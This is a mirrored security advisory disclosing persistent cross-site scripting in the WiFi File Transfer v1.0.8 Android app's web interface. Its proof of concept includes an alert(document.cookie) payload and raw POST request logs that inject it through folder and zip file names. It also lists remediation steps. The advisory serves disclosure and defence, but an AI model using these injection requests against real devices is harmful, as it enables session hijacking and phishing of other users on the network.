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## https://sploitus.com/exploit?id=PACKETSTORM:168746
Document Title:  
===============  
WiFi File Transfer v1.0.8 - Cross Site Scripting Vulnerabilities  
  
  
References (Source):  
====================  
https://www.vulnerability-lab.com/get_content.php?id=2322  
  
  
Release Date:  
=============  
2022-10-17  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
2322  
  
  
Common Vulnerability Scoring System:  
====================================  
5.6  
  
  
Vulnerability Class:  
====================  
Cross Site Scripting - Persistent  
  
  
Current Estimated Price:  
========================  
500€ - 1.000€  
  
  
Product & Service Introduction:  
===============================  
WiFi File Transfer lets you transfer files to/from your phone or tablet via WiFi. Easy to use web interface, no USB cable required.  
  
(Copy of the Homepage:https://play.google.com/store/apps/details?id=com.smarterdroid.wififiletransfer&hl=de&gl=US )  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered a multiple persistent cross site vulnerabilities in the WiFi File Transfer v1.0.8 mobile android web-application.  
  
Affected Product(s):  
====================  
smarterDroid  
Product: WiFi File Transfer v1.0.8 - Android (Wifi) (Web-Application)  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2022-10-17: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Authentication Type:  
====================  
Open Authentication (Anonymous Privileges)  
  
  
User Interaction:  
=================  
Low User Interaction  
  
  
Disclosure Type:  
================  
Independent Security Research  
  
  
Technical Details & Description:  
================================  
A persistent input validation web vulnerability has been discovered in the WiFi File Transfer v1.0.8 mobile web-application for android.  
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application  
requests from the application-side.  
  
The vulnerabilities are located in the data_file parameter of the add a file or folder and create a zip file function.  
Attackers with wifi access are able to anonymous use the webui and can inject own malicious script code with persistent  
attack vector via post method request.  
  
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external  
redirects to malicious source and persistent manipulation of affected application modules.  
  
  
Proof of Concept (PoC):  
=======================  
The persistent post inject web vulnerabilities can be exploited by remote attackers in the same wifi network with anonymous privileges and low user interaction.  
For security demonstration or to reproduce the web security vulnerability in the application follow the provided information and steps below to continue.  
  
  
Manual reproduce of the vulnerability ...  
1. Install the mobile android application and start it  
2. Start the wifi web-server  
3. Login as attacker by the browser over the network  
4. Inject payload as folder name, file name or zip file and save via post method request  
5. The payload executes in the web ui when previewing the paths  
  
  
Exploitation: Payload  
<a onmouseover=alert(document.cookie)>picture1337.jpg</a>  
  
  
--- PoC Session Logs #1 (POST) [Add] [Create] [Folder] [data_file] ---  
http://localhost:1234/storage/emulated/0/DCIM/  
Host: localhost:1234  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------321836412920954805143620932676  
Content-Length: 613  
Origin:http://localhost:1234  
Connection: keep-alive  
Referer:http://localhost:1234/storage/emulated/0/DCIM/  
action=mkdir&data_file=New"><a onmouseover=alert(document.cookie)>picture1337.jpg</a>&data_currentParams=?&data_filepath=/storage/emulated/0/DCIM/  
-  
POST: HTTP/1.1 302 OK  
Connection: Close  
Content-Type: text/html  
Location:http://localhost:1234/storage/emulated/0/DCIM/  
Content-Length: 143  
-  
http://localhost:1234/storage/emulated/0/DCIM/  
Host: localhost:1234  
Accept-Encoding: gzip, deflate  
Referer:http://localhost:1234/storage/emulated/0/DCIM/  
Connection: keep-alive  
-  
POST: HTTP/1.1 200 OK  
Connection: Close  
Content-Type: text/html  
  
  
--- PoC Session Logs #2 (POST) [Add] [Create] [Zip] [data_file] ---  
http://localhost:1234/storage/emulated/0/Pictures/?  
Host: localhost:1234  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------289297208414223233314228108045  
Content-Length: 882  
Origin:http://localhost:1234  
Connection: keep-alive  
Referer:http://localhost:1234/storage/emulated/0/Pictures/?  
Upgrade-Insecure-Requests: 1  
action=multizip&data_file=.<a onmouseover=alert(document.cookie)>File.Zip</a>.Zip&data_currentParams=?&data_filepath=/storage/emulated/0/Pictures/&1.jpg=file&2.jpg=file  
-  
POST: HTTP/1.1 200 OK  
Connection: Close  
Content-Type: text/html  
Location:http://localhost:1234/storage/emulated/0/Pictures/  
Content-Length: 151  
-  
http://localhost:1234/storage/emulated/0/Pictures/  
Host: localhost:1234  
Accept-Encoding: gzip, deflate  
Referer:http://localhost:1234/storage/emulated/0/Pictures/?  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
-  
POST: HTTP/1.1 200 OK  
Connection: Close  
Content-Type: text/html  
  
  
Reference(s):  
http://localhost:1234/  
http://localhost:1234/storage/  
http://localhost:1234/storage/emulated/  
http://localhost:1234/storage/emulated/0/  
http://localhost:1234/storage/emulated/0/DCIM/  
http://localhost:1234/storage/emulated/0/Pictures/  
  
  
Solution - Fix & Patch:  
=======================  
The persistent web vulnerabilities can be resolved by the following steps ...  
1. Restrict the input of the folder, filename and zip files to disallow special chars for add or create process  
2. Encode and escape the content of the data_file parameter to sanitize the content  
3. Sanitize and filter the output locations of the explorer path listings to prevent further attacks  
  
  
Security Risk:  
==============  
The security risk of the persistent web vulnerabilities in the mobile android wifi web-application are estimated as medium.  
  
  
Credits & Authors:  
==================  
Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab  
  
  
Disclaimer & Information:  
=========================  
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